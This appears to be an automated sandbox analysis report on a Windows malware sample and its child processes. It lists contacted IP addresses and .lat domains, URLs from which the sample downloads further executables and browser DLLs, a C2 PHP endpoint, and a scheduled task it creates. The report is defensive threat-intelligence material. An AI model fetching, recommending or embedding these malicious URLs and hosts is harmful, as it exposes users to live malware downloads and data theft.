Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/6929814593/py8tmzb.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: discokeyus.lat

Source: R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013D4000.00000004.00000020.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: R2CgZG545D.exe, 00000000.00000002.2640384429.00000000008D4000.00000040.00000001.01000000.00000003.sdmp, R2CgZG545D.exe, 00000000.00000002.2640384429.000000000091C000.00000040.00000001.01000000.00000003.sdmp, R2CgZG545D.exe, 00000000.00000002.2642961226.000000000138E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllR
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllx
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllk
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dlld
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.000000000141B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.000000000141B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllN
Source: R2CgZG545D.exe, 00000000.00000002.2652283847.000000000BB21000.00000004.00000020.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: R2CgZG545D.exe, 00000000.00000002.2652283847.000000000BB21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php(
Source: R2CgZG545D.exe, 00000000.00000002.2652283847.000000000BB21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php0
Source: R2CgZG545D.exe, 00000000.00000002.2652283847.000000000BB21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpP
Source: R2CgZG545D.exe, 00000000.00000002.2640384429.000000000091C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phped8914f686b0ceeba38bfbd33d30xtension
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpive
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.000000000138E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.2062w
Source: R2CgZG545D.exe, 00000000.00000002.2640384429.000000000091C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.php
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F2B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpEE:
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpIE&
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F2B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3323974534.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6929814593/py8tmzb.exe
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6929814593/py8tmzb.exeG
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6929814593/py8tmzb.exeXYZ0123456789
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6929814593/py8tmzb.exepC
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe01
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe3001
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe60&
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe60ac02b4ded8abeee1fbc96a805145b002
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe7d
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exeE
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exeT
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exeedL
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exeou
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exerC
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exerQ
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exes
Source: skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exew
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: random[1].exe.17.dr, f5de50ddb2.exe.17.dr	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: R2CgZG545D.exe, 00000000.00000002.2668569169.000000006F8CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: R2CgZG545D.exe, 00000000.00000002.2660489223.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000002.2646366752.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: CAKEBFCF.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, DGHIDAFCGIEHIEBFCFBA.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, DGHIDAFCGIEHIEBFCFBA.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: CAKEBFCF.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000003.2402923557.0000000001430000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000003.2402923557.0000000001430000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, DGHIDAFCGIEHIEBFCFBA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, DGHIDAFCGIEHIEBFCFBA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: aspnet_regiis.exe, 00000014.00000002.3254300960.0000000002E11000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253745592.0000000002E11000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.3254300960.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253492552.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253745592.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/
Source: aspnet_regiis.exe, 00000014.00000002.3254300960.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253492552.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253745592.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/I8Zj
Source: aspnet_regiis.exe, 00000014.00000002.3254300960.0000000002E11000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253745592.0000000002E11000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.3254300960.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253492552.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253745592.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api
Source: aspnet_regiis.exe, 00000014.00000002.3254300960.0000000002E11000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253745592.0000000002E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat:443/api
Source: aspnet_regiis.exe, 00000014.00000002.3254300960.0000000002E11000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253745592.0000000002E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat:443/api2
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000003.2402923557.0000000001430000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: CAKEBFCF.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000003.2402923557.0000000001430000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: aspnet_regiis.exe, 00000014.00000002.3254300960.0000000002E11000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253745592.0000000002E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/apiS
Source: DGHIDAFCGIEHIEBFCFBA.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: CGCFCBAKKFBFIECAEBAEBGCGDG.0.dr	String found in binary or memory: https://support.mozilla.org
Source: CGCFCBAKKFBFIECAEBAEBGCGDG.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CGCFCBAKKFBFIECAEBAEBGCGDG.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, DGHIDAFCGIEHIEBFCFBA.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, DGHIDAFCGIEHIEBFCFBA.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: CAKEBFCF.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: CAKEBFCF.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: CGCFCBAKKFBFIECAEBAEBGCGDG.0.dr	String found in binary or memory: https://www.mozilla.org
Source: R2CgZG545D.exe, 00000000.00000002.2640384429.00000000008D4000.00000040.00000001.01000000.00000003.sdmp, R2CgZG545D.exe, 00000000.00000002.2640384429.00000000009B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: R2CgZG545D.exe, 00000000.00000002.2640384429.00000000009B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/HDGDAKECAKJE
Source: CGCFCBAKKFBFIECAEBAEBGCGDG.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: R2CgZG545D.exe, 00000000.00000002.2640384429.00000000008D4000.00000040.00000001.01000000.00000003.sdmp, R2CgZG545D.exe, 00000000.00000002.2640384429.00000000009B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: R2CgZG545D.exe, 00000000.00000002.2640384429.00000000009B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: CGCFCBAKKFBFIECAEBAEBGCGDG.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: R2CgZG545D.exe, 00000000.00000002.2640384429.00000000008D4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: R2CgZG545D.exe, 00000000.00000003.2520098246.000000000BD7E000.00000004.00000020.00020000.00000000.sdmp, CGCFCBAKKFBFIECAEBAEBGCGDG.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: CGCFCBAKKFBFIECAEBAEBGCGDG.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: R2CgZG545D.exe, 00000000.00000003.2520098246.000000000BD7E000.00000004.00000020.00020000.00000000.sdmp, CGCFCBAKKFBFIECAEBAEBGCGDG.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: R2CgZG545D.exe, 00000000.00000002.2640384429.00000000008D4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: R2CgZG545D.exe, 00000000.00000003.2520098246.000000000BD7E000.00000004.00000020.00020000.00000000.sdmp, CGCFCBAKKFBFIECAEBAEBGCGDG.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: R2CgZG545D.exe, 00000000.00000002.2640384429.00000000008D4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown

HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.5:49957 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: R2CgZG545D.exe	Static PE information: section name:
Source: R2CgZG545D.exe	Static PE information: section name: .idata
Source: EHJKKKFIIJ.exe.0.dr	Static PE information: section name:
Source: EHJKKKFIIJ.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata

Source: C:\Users\user\Documents\EHJKKKFIIJ.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5AAC60	0_2_6C5AAC60
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C67AC30	0_2_6C67AC30
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C666C00	0_2_6C666C00
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5FECD0	0_2_6C5FECD0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C59ECC0	0_2_6C59ECC0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C66ED70	0_2_6C66ED70
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6CAD50	0_2_6C6CAD50
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C728D20	0_2_6C728D20
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C72CDC0	0_2_6C72CDC0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5A4DB0	0_2_6C5A4DB0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C636D90	0_2_6C636D90
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C63EE70	0_2_6C63EE70
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C680E20	0_2_6C680E20
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5AAEC0	0_2_6C5AAEC0
